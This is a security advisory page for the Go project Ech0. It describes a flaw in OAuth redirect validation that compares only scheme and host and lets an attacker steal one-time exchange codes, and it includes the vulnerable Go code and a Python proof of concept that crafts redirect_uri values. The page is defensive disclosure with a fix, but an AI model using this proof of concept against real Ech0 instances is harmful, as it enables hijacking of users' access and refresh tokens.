Skip to main content
VulnerabilityPublished

github.com/lin-snow/Ech0 · Ech0's OAuth redirect URI validation ignores path component, enables exchange-code theft

Affects github.com/lin-snow/Ech0Source GCVE Database

0

CVSS 8.0 High : upgrade to 1.4.8-0.20260503040728-a7e8b8e84bd1 soon.

Data as of 27 Oct 2026, 00:07 UTC

CVSS 3.1 base score
8.0High
How severe the flaw is on the 0–10 CVSS scale.
Patch
Available – fixed in 1.4.8-0.20260503040728-a7e8b8e84bd1
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:N

What to do

Upgrade github.com/lin-snow/Ech0 to 1.4.8-0.20260503040728-a7e8b8e84bd1.

Affected software

ProductAffectedFixed in
Gogithub.com/lin-snow/Ech0Affected
  • <1.4.8-0.20260503040728-a7e8b8e84bd1
Fixed in
  • 1.4.8-0.20260503040728-a7e8b8e84bd1

Check your own hosts for these packages with threat-finder (opens in a new tab), our free open-source scanner.

Description

## Summary `parseAndValidateClientRedirect` at `internal/service/auth/auth.go:448` validates OAuth client-redirect URIs by comparing only scheme and host against the admin-configured allowlist. Path, query, and fragment are ignored. The initiator at `/oauth/:provider/login` embeds the caller-supplied `redirect_uri` verbatim into the signed state JWT without any validation at login time. Alice submits a crafted `redirect_uri` whose host matches an allowed origin but whose path points to any page on that host. After the provider exchange, Ech0 redirects the victim to the attacker-chosen path with the one-time exchange code in the query string. If the chosen path leaks the URL via Referer, analytics, or an open redirect, the attacker trades the code at `POST /api/auth/exchange` for the victim's access and refresh tokens. RFC 6749 §3.1.2 requires exact redirect URI matching. ## Details Validation at `internal/service/auth/auth.go:448`: ```go matched := false for _, item := range allowed { allowURL, parseErr := url.Parse(strings.TrimSpace(item)) if parseErr != nil || allowURL == nil || allowURL.Host == "" { continue } if strings.EqualFold(redirectURL.Scheme, allowURL.Scheme) && strings.EqualFold(redirectURL.Host, allowURL.Host) { matched = true break } } ``` Scheme and host compared via `EqualFold`. Path, query, fragment all ignored. An allowlist entry of `https://myecho.example.com/dashboard` matches every `https://myecho.example.com/<anything>` the attacker sends. Login flow at `internal/service/auth/auth.go:141` (`GetOAuthLoginURL`) and the handler at `internal/handler/auth/oauth.go:43`: ```go redirectURI := ctx.Query("redirect_uri") redirectURL, err := h.authService.GetOAuthLoginURL(provider, redirectURI) // ... ctx.Redirect(302, redirectURL) ``` No validation at login. The raw `redirect_uri` query parameter is passed to `GetOAuthLoginURL`, which encodes it into the signed state JWT alongside the provider name and nonce. The state JWT travels through the OAuth provider and returns on the callback. At callback time, `parseAndValidateClientRedirect(oauthState.Redirect)` fires at `internal/service/auth/auth.go:372` and `:427` inside the callback handler chain. Scheme and host are the only gates on the attacker-chosen URI. After validation, the server generates a one-time exchange code and redirects the browser to the attacker-chosen path: ``` 302 Location: https://myecho.example.com/<attacker-path>?code=<one-time-exchange-code> ``` The code is valid at the public endpoint `POST /api/auth/exchange` for up to 60 seconds (single-use). An attacker who reads the code from the URL trades it for the victim's access token and refresh token. ## Proof of Concept Default install with OAuth2 configured. Admin allows `https://myecho.example.com/dashboard` as the return URL; Alice sends a crafted login link whose redirect points elsewhere on the same host: ```python import requests, urllib.parse, base64, json TARGET = "http://localhost:8300" # Admin setup: enable OAuth with one allowed return URL (dashboard). owner = requests.post(f"{TARGET}/api/login", json={"username": "owner", "password": "owner-pw"} ).json()["data"]["access_token"] requests.put(f"{TARGET}/api/oauth2/settings", headers={"Authorization": f"Bearer {owner}", "content-type": "application/json"}, json={"enable": True, "provider": "github", "client_id": "poc-client-id", "client_secret": "poc-client-secret", "redirect_uri": f"{TARGET}/oauth/github/callback", "scopes": ["read:user"], "auth_url": "https://github.com/login/oauth/authorize", "token_url": "https://github.com/login/oauth/access_token", "user_info_url": "https://api.github.com/user", "auth_redirect_allowed_return_urls": ["https://myecho.example.com/dashboard"]}) # Alice's link to the victim. Same host, different path. for attacker_uri in [ "https://myecho.example.com/dashboard", # control, allowed "https://myecho.example.com/attacker-chosen-path", # path bypass "https://attacker.example/foo", # different host, should also fail ]: url = f"{TARGET}/oauth/github/login?redirect_uri=" + urllib.parse.quote(attacker_uri) r = requests.get(url, allow_redirects=False) loc = r.headers.get("Location", "") state_jwt = urllib.parse.parse_qs(urllib.parse.urlparse(loc).query).get("state", [""])[0] pad = lambda s: s + "=" * (-len(s) % 4) payload = json.loads(base64.urlsafe_b64decode(pad(state_jwt.split(".")[1]))) print(f" redirect_uri={attacker_uri!r}") print(f" login HTTP: {r.status_code}") print(f" state JWT redirect: {payload.get('redirect')!r}") ``` Observed on v4.5.6: ``` redirect_uri='https://myecho.example.com/dashboard' login HTTP: 302

References

Community reviews

Loading reviews…